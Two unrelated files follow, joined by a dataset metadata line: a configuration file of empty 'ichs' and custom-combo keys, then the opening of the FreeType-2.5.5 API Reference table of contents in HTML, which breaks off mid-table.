ichs_283_0 =
ichs_283_1 =
ichs_283_2 =
ichs_284_0 =
ichs_284_1 =
ichs_284_2 =
ichs_285_0 =
ichs_285_1 =
ichs_285_2 =
ichs_286_0 =
ichs_286_1 =
ichs_286_2 =
ichs_287_0 =
ichs_287_1 =
ichs_287_2 =
ichs_288_0 =
ichs_288_1 =
ichs_288_2 =
ichs_289_0 =
ichs_289_1 =
ichs_289_2 =
ichs_290_0 =
ichs_290_1 =
ichs_290_2 =
ichs_291_0 =
ichs_291_1 =
ichs_291_2 =
ichs_292_0 =
ichs_292_1 =
ichs_292_2 =
ichs_293_0 =
ichs_293_1 =
ichs_293_2 =
ichs_294_0 =
ichs_294_1 =
ichs_294_2 =
ichs_295_0 =
ichs_295_1 =
ichs_295_2 =
ichs_296_0 =
ichs_296_1 =
ichs_296_2 =
ichs_297_0 =
ichs_297_1 =
ichs_297_2 =
ichs_298_0 =
ichs_298_1 =
ichs_298_2 =
ichs_299_0 =
ichs_299_1 =
ichs_299_2 =
ichs_300_0 =
ichs_300_1 =
ichs_300_2 =
ichs_301_0 =
ichs_301_1 =
ichs_301_2 =
ichs_302_0 =
ichs_302_1 =
ichs_302_2 =
ichs_303_0 =
ichs_303_1 =
ichs_303_2 =
ichs_304_0 =
ichs_304_1 =
ichs_304_2 =
ichs_305_0 =
ichs_305_1 =
ichs_305_2 =
ichs_306_0 =
ichs_306_1 =
ichs_306_2 =
ichs_307_0 =
ichs_307_1 =
ichs_307_2 =
ichs_308_0 =
ichs_308_1 =
ichs_308_2 =
ichs_309_0 =
ichs_309_1 =
ichs_309_2 =
ichs_310_0 =
ichs_310_1 =
ichs_310_2 =
ichs_311_0 =
ichs_311_1 =
ichs_311_2 =
ichs_312_0 =
ichs_312_1 =
ichs_312_2 =
ichs_313_0 =
ichs_313_1 =
ichs_313_2 =
ichs_314_0 =
ichs_314_1 =
ichs_314_2 =
ichs_315_0 =
ichs_315_1 =
ichs_315_2 =
ichs_316_0 =
ichs_316_1 =
ichs_316_2 =
ichs_317_0 =
ichs_317_1 =
ichs_317_2 =
ichs_318_0 =
ichs_318_1 =
ichs_318_2 =
ichs_319_0 =
ichs_319_1 =
ichs_319_2 =
ichs_320_0 =
ichs_320_1 =
ichs_320_2 =
ichs_321_0 =
ichs_321_1 =
ichs_321_2 =
ichs_322_0 =
ichs_322_1 =
ichs_322_2 =
ichs_323_0 =
ichs_323_1 =
ichs_323_2 =
ichs_324_0 =
ichs_324_1 =
ichs_324_2 =
ichs_325_0 =
ichs_325_1 =
ichs_325_2 =
ichs_326_0 =
ichs_326_1 =
ichs_326_2 =
ichs_327_0 =
ichs_327_1 =
ichs_327_2 =
ichs_328_0 =
ichs_328_1 =
ichs_328_2 =
ichs_329_0 =
ichs_329_1 =
ichs_329_2 =
ichs_330_0 =
ichs_330_1 =
ichs_330_2 =
ichs_331_0 =
ichs_331_1 =
ichs_331_2 =
ichs_332_0 =
ichs_332_1 =
ichs_332_2 =
ichs_333_0 =
ichs_333_1 =
ichs_333_2 =
ichs_334_0 =
ichs_334_1 =
ichs_334_2 =
ichs_335_0 =
ichs_335_1 =
ichs_335_2 =
ichs_336_0 =
ichs_336_1 =
ichs_336_2 =
ichs_337_0 =
ichs_337_1 =
ichs_337_2 =
ichs_338_0 =
ichs_338_1 =
ichs_338_2 =
ichs_339_0 =
ichs_339_1 =
ichs_339_2 =
ichs_340_0 =
ichs_340_1 =
ichs_340_2 =
ichs_341_0 =
ichs_341_1 =
ichs_341_2 =
ichs_342_0 =
ichs_342_1 =
ichs_342_2 =
ichs_343_0 =
ichs_343_1 =
ichs_343_2 =
ichs_344_0 =
ichs_344_1 =
ichs_344_2 =
ichs_345_0 =
ichs_345_1 =
ichs_345_2 =
ichs_346_0 =
ichs_346_1 =
ichs_346_2 =
ichs_347_0 =
ichs_347_1 =
ichs_347_2 =
ichs_348_0 =
ichs_348_1 =
ichs_348_2 =
ichs_349_0 =
ichs_349_1 =
ichs_349_2 =
ichs_350_0 =
ichs_350_1 =
ichs_350_2 =
ichs_351_0 =
ichs_351_1 =
ichs_351_2 =
ichs_352_0 =
ichs_352_1 =
ichs_352_2 =
ichs_353_0 =
ichs_353_1 =
ichs_353_2 =
ichs_354_0 =
ichs_354_1 =
ichs_354_2 =
ichs_355_0 =
ichs_355_1 =
ichs_355_2 =
ichs_356_0 =
ichs_356_1 =
ichs_356_2 =
ichs_357_0 =
ichs_357_1 =
ichs_357_2 =
ichs_358_0 =
ichs_358_1 =
ichs_358_2 =
ichs_359_0 =
ichs_359_1 =
ichs_359_2 =
ichs_360_0 =
ichs_360_1 =
ichs_360_2 =
ichs_361_0 =
ichs_361_1 =
ichs_361_2 =
ichs_362_0 =
ichs_362_1 =
ichs_362_2 =
ichs_363_0 =
ichs_363_1 =
ichs_363_2 =
ichs_364_0 =
ichs_364_1 =
ichs_364_2 =
ichs_365_0 =
ichs_365_1 =
ichs_365_2 =
ichs_366_0 =
ichs_366_1 =
ichs_366_2 =
ichs_367_0 =
ichs_367_1 =
ichs_367_2 =
ichs_368_0 =
ichs_368_1 =
ichs_368_2 =
ichs_369_0 =
ichs_369_1 =
ichs_369_2 =
ichs_370_0 =
ichs_370_1 =
ichs_370_2 =
ichs_371_0 =
ichs_371_1 =
ichs_371_2 =
ichs_372_0 =
ichs_372_1 =
ichs_372_2 =
ichs_373_0 =
ichs_373_1 =
ichs_373_2 =
ichs_374_0 =
ichs_374_1 =
ichs_374_2 =
ichs_375_0 =
ichs_375_1 =
ichs_375_2 =
ichs_376_0 =
ichs_376_1 =
ichs_376_2 =
ichs_377_0 =
ichs_377_1 =
ichs_377_2 =
ichs_378_0 =
ichs_378_1 =
ichs_378_2 =
ichs_379_0 =
ichs_379_1 =
ichs_379_2 =
ichs_380_0 =
ichs_380_1 =
ichs_380_2 =
ichs_381_0 =
ichs_381_1 =
ichs_381_2 =
ichs_382_0 =
ichs_382_1 =
ichs_382_2 =
ichs_383_0 =
ichs_383_1 =
ichs_383_2 =
ichs_384_0 =
ichs_384_1 =
ichs_384_2 =
ichs_385_0 =
ichs_385_1 =
ichs_385_2 =
ichs_386_0 =
ichs_386_1 =
ichs_386_2 =
ichs_387_0 =
ichs_387_1 =
ichs_387_2 =
ichs_388_0 =
ichs_388_1 =
ichs_388_2 =
ichs_389_0 =
ichs_389_1 =
ichs_389_2 =
ichs_390_0 =
ichs_390_1 =
ichs_390_2 =
ichs_391_0 =
ichs_391_1 =
ichs_391_2 =
ichs_392_0 =
ichs_392_1 =
ichs_392_2 =
ichs_393_0 =
ichs_393_1 =
ichs_393_2 =
ichs_394_0 =
ichs_394_1 =
ichs_394_2 =
ichs_395_0 =
ichs_395_1 =
ichs_395_2 =
ichs_396_0 =
ichs_396_1 =
ichs_396_2 =
ichs_397_0 =
ichs_397_1 =
ichs_397_2 =
ichs_398_0 =
ichs_398_1 =
ichs_398_2 =
ichs_399_0 =
ichs_399_1 =
ichs_399_2 =
ichs_400_0 =
ichs_400_1 =
ichs_400_2 =
ichs_401_0 =
ichs_401_1 =
ichs_401_2 =
ichs_402_0 =
ichs_402_1 =
ichs_402_2 =
ichs_403_0 =
ichs_403_1 =
ichs_403_2 =
ichs_404_0 =
ichs_404_1 =
ichs_404_2 =
ichs_405_0 =
ichs_405_1 =
ichs_405_2 =
ichs_406_0 =
ichs_406_1 =
ichs_406_2 =
ichs_407_0 =
ichs_407_1 =
ichs_407_2 =
ichs_408_0 =
ichs_408_1 =
ichs_408_2 =
ichs_409_0 =
ichs_409_1 =
ichs_409_2 =
ichs_410_0 =
ichs_410_1 =
ichs_410_2 =
ichs_411_0 =
ichs_411_1 =
ichs_411_2 =
ichs_412_0 =
ichs_412_1 =
ichs_412_2 =
ichs_413_0 =
ichs_413_1 =
ichs_413_2 =
ichs_414_0 =
ichs_414_1 =
ichs_414_2 =
ichs_415_0 =
ichs_415_1 =
ichs_415_2 =
ichs_416_0 =
ichs_416_1 =
ichs_416_2 =
ichs_417_0 =
ichs_417_1 =
ichs_417_2 =
ichs_418_0 =
ichs_418_1 =
ichs_418_2 =
ichs_419_0 =
ichs_419_1 =
ichs_419_2 =
ichs_420_0 =
ichs_420_1 =
ichs_420_2 =
ichs_421_0 =
ichs_421_1 =
ichs_421_2 =
ichs_422_0 =
ichs_422_1 =
ichs_422_2 =
ichs_423_0 =
ichs_423_1 =
ichs_423_2 =
ichs_424_0 =
ichs_424_1 =
ichs_424_2 =
ichs_425_0 =
ichs_425_1 =
ichs_425_2 =
ichs_426_0 =
ichs_426_1 =
ichs_426_2 =
ichs_427_0 =
ichs_427_1 =
ichs_427_2 =
ichs_428_0 =
ichs_428_1 =
ichs_428_2 =
ichs_429_0 =
ichs_429_1 =
ichs_429_2 =
ichs_430_0 =
ichs_430_1 =
ichs_430_2 =
ichs_431_0 =
ichs_431_1 =
ichs_431_2 =
ichs_432_0 =
ichs_432_1 =
ichs_432_2 =
ichs_433_0 =
ichs_433_1 =
ichs_433_2 =
ichs_434_0 =
ichs_434_1 =
ichs_434_2 =
ichs_435_0 =
ichs_435_1 =
ichs_435_2 =
ichs_436_0 =
ichs_436_1 =
ichs_436_2 =
ichs_437_0 =
ichs_437_1 =
ichs_437_2 =
ichs_438_0 =
ichs_438_1 =
ichs_438_2 =
ichs_439_0 =
ichs_439_1 =
ichs_439_2 =
ichs_440_0 =
ichs_440_1 =
ichs_440_2 =
ichs_441_0 =
ichs_441_1 =
ichs_441_2 =
ichs_442_0 =
ichs_442_1 =
ichs_442_2 =
ichs_443_0 =
ichs_443_1 =
ichs_443_2 =
ichs_444_0 =
ichs_444_1 =
ichs_444_2 =
ichs_445_0 =
ichs_445_1 =
ichs_445_2 =
ichs_446_0 =
ichs_446_1 =
ichs_446_2 =
ichs_447_0 =
ichs_447_1 =
ichs_447_2 =
ichs_448_0 =
ichs_448_1 =
ichs_448_2 =
ichs_449_0 =
ichs_449_1 =
ichs_449_2 =
ichs_450_0 =
ichs_450_1 =
ichs_450_2 =
ichs_451_0 =
ichs_451_1 =
ichs_451_2 =
ichs_452_0 =
ichs_452_1 =
ichs_452_2 =
ichs_453_0 =
ichs_453_1 =
ichs_453_2 =
ichs_454_0 =
ichs_454_1 =
ichs_454_2 =
ichs_455_0 =
ichs_455_1 =
ichs_455_2 =
ichs_456_0 =
ichs_456_1 =
ichs_456_2 =
ichs_457_0 =
ichs_457_1 =
ichs_457_2 =
ichs_458_0 =
ichs_458_1 =
ichs_458_2 =
ichs_459_0 =
ichs_459_1 =
ichs_459_2 =
ichs_460_0 =
ichs_460_1 =
ichs_460_2 =
ichs_461_0 =
ichs_461_1 =
ichs_461_2 =
ichs_462_0 =
ichs_462_1 =
ichs_462_2 =
ichs_463_0 =
ichs_463_1 =
ichs_463_2 =
ichs_464_0 =
ichs_464_1 =
ichs_464_2 =
ichs_465_0 =
ichs_465_1 =
ichs_465_2 =
ichs_466_0 =
ichs_466_1 =
ichs_466_2 =
ichs_467_0 =
ichs_467_1 =
ichs_467_2 =
ichs_468_0 =
ichs_468_1 =
ichs_468_2 =
ichs_469_0 =
ichs_469_1 =
ichs_469_2 =
ichs_470_0 =
ichs_470_1 =
ichs_470_2 =
ichs_471_0 =
ichs_471_1 =
ichs_471_2 =
ichs_472_0 =
ichs_472_1 =
ichs_472_2 =
ichs_473_0 =
ichs_473_1 =
ichs_473_2 =
ichs_474_0 =
ichs_474_1 =
ichs_474_2 =
ichs_475_0 =
ichs_475_1 =
ichs_475_2 =
ichs_476_0 =
ichs_476_1 =
ichs_476_2 =
ichs_477_0 =
ichs_477_1 =
ichs_477_2 =
ichs_478_0 =
ichs_478_1 =
ichs_478_2 =
ichs_479_0 =
ichs_479_1 =
ichs_479_2 =
ichs_480_0 =
ichs_480_1 =
ichs_480_2 =
ichs_481_0 =
ichs_481_1 =
ichs_481_2 =
ichs_482_0 =
ichs_482_1 =
ichs_482_2 =
ichs_483_0 =
ichs_483_1 =
ichs_483_2 =
ichs_484_0 =
ichs_484_1 =
ichs_484_2 =
ichs_485_0 =
ichs_485_1 =
ichs_485_2 =
ichs_486_0 =
ichs_486_1 =
ichs_486_2 =
ichs_487_0 =
ichs_487_1 =
ichs_487_2 =
ichs_488_0 =
ichs_488_1 =
ichs_488_2 =
ichs_489_0 =
ichs_489_1 =
ichs_489_2 =
ichs_490_0 =
ichs_490_1 =
ichs_490_2 =
ichs_491_0 =
ichs_491_1 =
ichs_491_2 =
ichs_492_0 =
ichs_492_1 =
ichs_492_2 =
ichs_493_0 =
ichs_493_1 =
ichs_493_2 =
ichs_494_0 =
ichs_494_1 =
ichs_494_2 =
ichs_495_0 =
ichs_495_1 =
ichs_495_2 =
ichs_496_0 =
ichs_496_1 =
ichs_496_2 =
ichs_497_0 =
ichs_497_1 =
ichs_497_2 =
ichs_498_0 =
ichs_498_1 =
ichs_498_2 =
ichs_499_0 =
ichs_499_1 =
ichs_499_2 =
ichs_500_0 =
ichs_500_1 =
ichs_500_2 =
ichs_501_0 =
ichs_501_1 =
ichs_501_2 =
ichs_502_0 =
ichs_502_1 =
ichs_502_2 =
ichs_503_0 =
ichs_503_1 =
ichs_503_2 =
ichs_504_0 =
ichs_504_1 =
ichs_504_2 =
ichs_505_0 =
ichs_505_1 =
ichs_505_2 =
ichs_506_0 =
ichs_506_1 =
ichs_506_2 =
ichs_507_0 =
ichs_507_1 =
ichs_507_2 =
ichs_508_0 =
ichs_508_1 =
ichs_508_2 =
ichs_509_0 =
ichs_509_1 =
ichs_509_2 =
ichs_510_0 =
ichs_510_1 =
ichs_510_2 =
ichs_511_0 =
ichs_511_1 =
ichs_511_2 =
[CUSTOMCOMBOTYPES]
cCUSTOM1ATTRIB0 =
cCUSTOM1ATTRIB1 =
cCUSTOM1ATTRIB2 =
cCUSTOM1ATTRIB3 =
cCUSTOM2ATTRIB0 =
cCUSTOM2ATTRIB1 =
cCUSTOM2ATTRIB2 =
cCUSTOM2ATTRIB3 =
cCUSTOM3ATTRIB0 =
cCUSTOM3ATTRIB1 =
cCUSTOM3ATTRIB2 =
cCUSTOM3ATTRIB3 =
cCUSTOM4ATTRIB0 =
cCUSTOM4ATTRIB1 =
cCUSTOM4ATTRIB2 =
cCUSTOM4ATTRIB3 =
cCUSTOM5ATTRIB0 =
cCUSTOM5ATTRIB1 =
cCUSTOM5ATTRIB2 =
cCUSTOM5ATTRIB3 =
cCUSTOM6ATTRIB0 =
cCUSTOM6ATTRIB1 =
cCUSTOM6ATTRIB2 =
cCUSTOM6ATTRIB3 =
cCUSTOM7ATTRIB0 =
cCUSTOM7ATTRIB1 =
cCUSTOM7ATTRIB2 =
cCUSTOM7ATTRIB3 =
cCUSTOM8ATTRIB0 =
cCUSTOM8ATTRIB1 =
cCUSTOM8ATTRIB2 =
cCUSTOM8ATTRIB3 =
cCUSTOM9ATTRIB0 =
cCUSTOM9ATTRIB1 =
cCUSTOM9ATTRIB2 =
cCUSTOM9ATTRIB3 =
cCUSTOM10ATTRIB0 =
cCUSTOM10ATTRIB1 =
cCUSTOM10ATTRIB2 =
cCUSTOM10ATTRIB3 =
cCUSTOM11ATTRIB0 =
cCUSTOM11ATTRIB1 =
cCUSTOM11ATTRIB2 =
cCUSTOM11ATTRIB3 =
cCUSTOM12ATTRIB0 =
cCUSTOM12ATTRIB1 =
cCUSTOM12ATTRIB2 =
cCUSTOM12ATTRIB3 =
cCUSTOM13ATTRIB0 =
cCUSTOM13ATTRIB1 =
cCUSTOM13ATTRIB2 =
cCUSTOM13ATTRIB3 =
cCUSTOM14ATTRIB0 =
cCUSTOM14ATTRIB1 =
cCUSTOM14ATTRIB2 =
#cCUSTOM14ATTRIB3 =
cCUSTOM15ATTRIB0 =
cCUSTOM15ATTRIB1 =
cCUSTOM15ATTRIB2 =
cCUSTOM15ATTRIB3 =
cCUSTOM16ATTRIB0 =
cCUSTOM16ATTRIB1 =
cCUSTOM16ATTRIB2 =
cCUSTOM16ATTRIB3 =
cCUSTOM17ATTRIB0 =
cCUSTOM17ATTRIB1 =
cCUSTOM17ATTRIB2 =
cCUSTOM17ATTRIB3 =
cCUSTOM18ATTRIB0 =
cCUSTOM18ATTRIB1 =
cCUSTOM18ATTRIB2 =
cCUSTOM18ATTRIB3 =
cCUSTOM19ATTRIB0 =
cCUSTOM19ATTRIB1 =
cCUSTOM19ATTRIB2 =
cCUSTOM19ATTRIB3 =
cCUSTOM20ATTRIB0 =
cCUSTOM20ATTRIB1 =
cCUSTOM20ATTRIB2 =
cCUSTOM20ATTRIB3 =
[CUSTOMCOMBOFLAGS]
cCust1F0 =
cCust1F1 =
cCust1F2 =
cCust1F3 =
cCust1F4 =
cCust1F5 =
cCust1F6 =
cCust1F7 =
cCust1F8 =
cCust1F9 =
cCust1F10 =
cCust1F11 =
cCust1F12 =
cCust1F13 =
cCust1F14 =
cCust1F15 =
cCust2F0 =
cCust2F1 =
cCust2F2 =
cCust2F3 =
cCust2F4 =
cCust2F5 =
cCust2F6 =
cCust2F7 =
cCust2F8 =
cCust2F9 =
cCust2F10 =
cCust2F11 =
cCust2F12 =
cCust2F13=
cCust2F14 =
cCust2F15 =
cCust3F0 =
cCust3F1 =
cCust3F2 =
cCust3F3 =
cCust3F4 =
cCust3F5 =
cCust3F6 =
cCust3F7 =
cCust3F8 =
cCust3F9 =
cCust3F10 =
cCust3F11 =
cCust3F12 =
cCust3F13 =
cCust3F14 =
cCust3F15 =
cCust4F0 =
cCust4F1 =
cCust4F2 =
cCust4F3 =
cCust4F4 =
cCust4F5 =
cCust4F6 =
cCust4F7 =
cCust4F8 =
cCust4F9 =
cCust4F10 =
cCust4F11 =
cCust4F12 =
cCust4F13 =
cCust4F14 =
cCust4F15 =
cCust5F0 =
cCust5F1 =
cCust5F2 =
cCust5F3 =
cCust5F4 =
cCust5F5 =
cCust5F6 =
cCust5F7 =
cCust5F8 =
cCust5F9 =
cCust5F10 =
cCust5F11 =
cCust5F12 =
cCust5F13 =
cCust5F14 =
cCust5F15 =
cCust6F0 =
cCust6F1 =
cCust6F2 =
cCust6F3 =
cCust6F4 =
cCust6F5 =
cCust6F6 =
cCust6F7 =
cCust6F8 =
cCust6F9 =
cCust6F10 =
cCust6F11 =
cCust6F12 =
cCust6F13 =
cCust6F14 =
cCust6F15 =
cCust7F0 =
cCust7F1 =
cCust7F2 =
cCust7F3 =
cCust7F4 =
cCust7F5 =
cCust7F6 =
cCust7F7 =
cCust7F8 =
cCust7F9 =
cCust7F10 =
cCust7F11 =
cCust7F12 =
cCust7F13 =
cCust7F14 =
cCust7F15 =
cCust8F0 =
cCust8F1 =
cCust8F2 =
cCust8F3 =
cCust8F4 =
cCust8F5 =
cCust8F6 =
cCust8F7 =
cCust8F8 =
cCust8F9 =
cCust8F10 =
cCust8F11 =
cCust8F12 =
cCust8F13 =
cCust8F14 =
cCust8F15 =
cCust9F0 =
cCust9F1 =
cCust9F2 =
cCust9F3 =
cCust9F4 =
cCust9F5 =
cCust9F6 =
cCust9F7 =
cCust9F8 =
cCust9F9 =
cCust9F10 =
cCust9F11 =
cCust9F12 =
cCust9F13 =
cCust9F14 =
cCust9F15 =
cCust10F0 =
cCust10F1 =
cCust10F2 =
cCust10F3 =
cCust10F4 =
cCust10F5 =
cCust10F6 =
cCust10F7 =
cCust10F8 =
cCust10F9 =
cCust10F10 =
cCust10F11 =
cCust10F12 =
cCust10F13 =
cCust10F14 =
cCust10F15 =
cCust11F0 =
cCust11F1 =
cCust11F2 =
cCust11F3 =
cCust11F4 =
cCust11F5 =
cCust11F6 =
cCust11F7 =
cCust11F8 =
cCust11F9 =
cCust11F10 =
cCust11F11 =
cCust11F12 =
cCust11F13 =
cCust11F14 =
cCust11F15
cCust12F0 =
cCust12F1 =
cCust12F2 =
cCust12F3 =
cCust12F4 =
cCust12F5 =
cCust12F6 =
cCust12F7 =
cCust12F8 =
cCust12F9 =
cCust12F10 =
cCust12F11 =
cCust12F12 =
cCust12F13 =
cCust12F14 =
cCust12F15 =
cCust13F0 =
cCust13F1 =
cCust13F2 =
cCust13F3 =
cCust13F4 =
cCust13F5 =
cCust13F6 =
cCust13F7 =
cCust13F8 =
cCust13F9 =
cCust13F10 =
cCust13F11 =
cCust13F12 =
cCust13F13 =
cCust13F14 =
cCust13F15 =
cCust14F0 =
cCust14F1 =
cCust14F2 =
cCust14F3 =
cCust14F4 =
cCust14F5 =
cCust14F6 =
cCust14F7 =
cCust14F8 =
cCust14F9 =
cCust14F10 =
cCust14F11 =
cCust14F12 =
cCust14F13 =
cCust14F14 =
cCust14F15 =
cCust15F0 =
cCust15F1 =
cCust15F2 =
cCust15F3 =
cCust15F4 =
cCust15F5 =
cCust15F6 =
cCust15F7 =
cCust15F8 =
cCust15F9 =
cCust15F10 =
cCust15F11 =
cCust15F12 =
cCust15F13 =
cCust15F14 =
cCust15F15 = | {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>FreeType-2.5.5 API Reference</title>
<style type="text/css">
a:link { color: #0000EF; }
a:visited { color: #51188E; }
a:hover { color: #FF0000; }
body { font-family: Verdana, Geneva, Arial, Helvetica, serif;
color: #000000;
background: #FFFFFF;
width: 87%;
margin: auto; }
div.section { width: 75%;
margin: auto; }
div.section hr { margin: 4ex 0 1ex 0; }
div.section h4 { background-color: #EEEEFF;
font-size: medium;
font-style: oblique;
font-weight: bold;
margin: 3ex 0 1.5ex 9%;
padding: 0.3ex 0 0.3ex 1%; }
div.section p { margin: 1.5ex 0 1.5ex 10%; }
div.section pre { margin: 3ex 0 3ex 9%;
background-color: #D6E8FF;
padding: 2ex 0 2ex 1%; }
div.section table.fields { width: 90%;
margin: 1.5ex 0 1.5ex 10%; }
div.section table.toc { width: 95%;
margin: 1.5ex 0 1.5ex 5%; }
div.timestamp { text-align: center;
font-size: 69%;
margin: 1.5ex 0 1.5ex 0; }
h1 { text-align: center; }
h3 { font-size: medium;
margin: 4ex 0 1.5ex 0; }
p { text-align: justify; }
pre.colored { color: blue; }
span.keyword { font-family: monospace;
text-align: left;
white-space: pre;
color: darkblue; }
table.fields td.val { font-weight: bold;
text-align: right;
width: 30%;
vertical-align: baseline;
padding: 1ex 1em 1ex 0; }
table.fields td.desc { vertical-align: baseline;
padding: 1ex 0 1ex 1em; }
table.fields td.desc p:first-child { margin: 0; }
table.fields td.desc p { margin: 1.5ex 0 0 0; }
table.index { margin: 6ex auto 6ex auto;
border: 0;
border-collapse: separate;
border-spacing: 1em 0.3ex; }
table.index tr { padding: 0; }
table.index td { padding: 0; }
table.index-toc-link { width: 100%;
border: 0;
border-spacing: 0;
margin: 1ex 0 1ex 0; }
table.index-toc-link td.left { padding: 0 0.5em 0 0.5em;
font-size: 83%;
text-align: left; }
table.index-toc-link td.middle { padding: 0 0.5em 0 0.5em;
font-size: 83%;
text-align: center; }
table.index-toc-link td.right { padding: 0 0.5em 0 0.5em;
font-size: 83%;
text-align: right; }
table.synopsis { margin: 6ex auto 6ex auto;
border: 0;
border-collapse: separate;
border-spacing: 2em 0.6ex; }
table.synopsis tr { padding: 0; }
table.synopsis td { padding: 0; }
table.toc td.link { width: 30%;
text-align: right;
vertical-align: baseline;
padding: 1ex 1em 1ex 0; }
table.toc td.desc { vertical-align: baseline;
padding: 1ex 0 1ex 1em;
text-align: left; }
table.toc td.desc p:first-child { margin: 0;
text-align: left; }
table.toc td.desc p { margin: 1.5ex 0 0 0;
text-align: left; }
</style>
</head>
<body>
<table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td></tr></table>
<h1>FreeType-2.5.5 API Reference</h1>
<h1>Table of Contents</h1>
<div class="section">
<h2>General Remarks</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-header_inclusion.html">FreeType's header inclusion scheme</a></td><td class="desc">
<p>How client applications should include FreeType header files.</p>
</td></tr>
<tr><td class="link"><a href="ft2-user_allocation.html">User allocation</a></td><td class="desc">
<p>How client applications should allocate FreeType data structures.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Core API</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-version.html">FreeType Version</a></td><td class="desc">
<p>Functions and macros related to FreeType versions.</p>
</td></tr>
<tr><td class="link"><a href="ft2-basic_types.html">Basic Data Types</a></td><td class="desc">
<p>The basic data types defined by the library.</p>
</td></tr>
<tr><td class="link"><a href="ft2-base_interface.html">Base Interface</a></td><td class="desc">
<p>The FreeType 2 base font interface.</p>
</td></tr>
<tr><td class="link"><a href="ft2-glyph_variants.html">Glyph Variants</a></td><td class="desc">
<p>The FreeType 2 interface to Unicode Ideographic Variation Sequences (IVS), using the SFNT cmap format 14.</p>
</td></tr>
<tr><td class="link"><a href="ft2-glyph_management.html">Glyph Management</a></td><td class="desc">
<p>Generic interface to manage individual glyph data.</p>
</td></tr>
<tr><td class="link"><a href="ft2-mac_specific.html">Mac Specific Interface</a></td><td class="desc">
<p>Only available on the Macintosh.</p>
</td></tr>
<tr><td class="link"><a href="ft2-sizes_management.html">Size Management</a></td><td class="desc">
<p>Managing multiple sizes per face.</p>
</td></tr>
<tr><td class="link"><a href="ft2-header_file_macros.html">Header File Macros</a></td><td class="desc">
<p>Macro definitions used to #include specific header files.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Format-Specific API</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-multiple_masters.html">Multiple Masters</a></td><td class="desc">
<p>How to manage Multiple Masters fonts.</p>
</td></tr>
<tr><td class="link"><a href="ft2-truetype_tables.html">TrueType Tables</a></td><td class="desc">
<p>TrueType specific table types and functions.</p>
</td></tr>
<tr><td class="link"><a href="ft2-type1_tables.html">Type 1 Tables</a></td><td class="desc">
<p>Type 1 (PostScript) specific font tables.</p>
</td></tr>
<tr><td class="link"><a href="ft2-sfnt_names.html">SFNT Names</a></td><td class="desc">
<p>Access the names embedded in TrueType and OpenType files.</p>
</td></tr>
<tr><td class="link"><a href="ft2-bdf_fonts.html">BDF and PCF Files</a></td><td class="desc">
<p>BDF and PCF specific API.</p>
</td></tr>
<tr><td class="link"><a href="ft2-cid_fonts.html">CID Fonts</a></td><td class="desc">
<p>CID-keyed font specific API.</p>
</td></tr>
<tr><td class="link"><a href="ft2-pfr_fonts.html">PFR Fonts</a></td><td class="desc">
<p>PFR/TrueDoc specific API.</p>
</td></tr>
<tr><td class="link"><a href="ft2-winfnt_fonts.html">Window FNT Files</a></td><td class="desc">
<p>Windows FNT specific API.</p>
</td></tr>
<tr><td class="link"><a href="ft2-font_formats.html">Font Formats</a></td><td class="desc">
<p>Getting the font format.</p>
</td></tr>
<tr><td class="link"><a href="ft2-gasp_table.html">Gasp Table</a></td><td class="desc">
<p>Retrieving TrueType ‘gasp’ table entries.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Controlling FreeType Modules</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-auto_hinter.html">The auto-hinter</a></td><td class="desc">
<p>Controlling the auto-hinting module.</p>
</td></tr>
<tr><td class="link"><a href="ft2-cff_driver.html">The CFF driver</a></td><td class="desc">
<p>Controlling the CFF driver module.</p>
</td></tr>
<tr><td class="link"><a href="ft2-tt_driver.html">The TrueType driver</a></td><td class="desc">
<p>Controlling the TrueType driver module.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Cache Sub-System</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-cache_subsystem.html">Cache Sub-System</a></td><td class="desc">
<p>How to cache face, size, and glyph data with FreeType 2.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Support API</h2>
<table class="toc">
<tr><td class="link"><a href="ft2-computations.html">Computations</a></td><td class="desc">
<p>Crunching fixed numbers and vectors.</p>
</td></tr>
<tr><td class="link"><a href="ft2-list_processing.html">List Processing</a></td><td class="desc">
<p>Simple management of lists.</p>
</td></tr>
<tr><td class="link"><a href="ft2-outline_processing.html">Outline Processing</a></td><td class="desc">
<p>Functions to create, transform, and render vectorial glyph images.</p>
</td></tr>
<tr><td class="link"><a href="ft2-quick_advance.html">Quick retrieval of advance values</a></td><td class="desc">
<p>Retrieve horizontal and vertical advance values without processing glyph outlines, if possible.</p>
</td></tr>
<tr><td class="link"><a href="ft2-bitmap_handling.html">Bitmap Handling</a></td><td class="desc">
<p>Handling FT_Bitmap objects.</p>
</td></tr>
<tr><td class="link"><a href="ft2-raster.html">Scanline Converter</a></td><td class="desc">
<p>How vectorial outlines are converted into bitmaps and pixmaps.</p>
</td></tr>
<tr><td class="link"><a href="ft2-glyph_stroker.html">Glyph Stroker</a></td><td class="desc">
<p>Generating bordered and stroked glyphs.</p>
</td></tr>
<tr><td class="link"><a href="ft2-system_interface.html">System Interface</a></td><td class="desc">
<p>How FreeType manages memory and i/o.</p>
</td></tr>
<tr><td class="link"><a href="ft2-module_management.html">Module Management</a></td><td class="desc">
<p>How to add, upgrade, remove, and control modules from FreeType.</p>
</td></tr>
<tr><td class="link"><a href="ft2-gzip.html">GZIP Streams</a></td><td class="desc">
<p>Using gzip-compressed font files.</p>
</td></tr>
<tr><td class="link"><a href="ft2-lzw.html">LZW Streams</a></td><td class="desc">
<p>Using LZW-compressed font files.</p>
</td></tr>
<tr><td class="link"><a href="ft2-bzip2.html">BZIP2 Streams</a></td><td class="desc">
<p>Using bzip2-compressed font files.</p>
</td></tr>
<tr><td class="link"><a href="ft2-lcd_filtering.html">LCD Filtering</a></td><td class="desc">
<p>Reduce color fringes of LCD-optimized bitmaps.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2>Miscellaneous</h2>
<table class="toc">
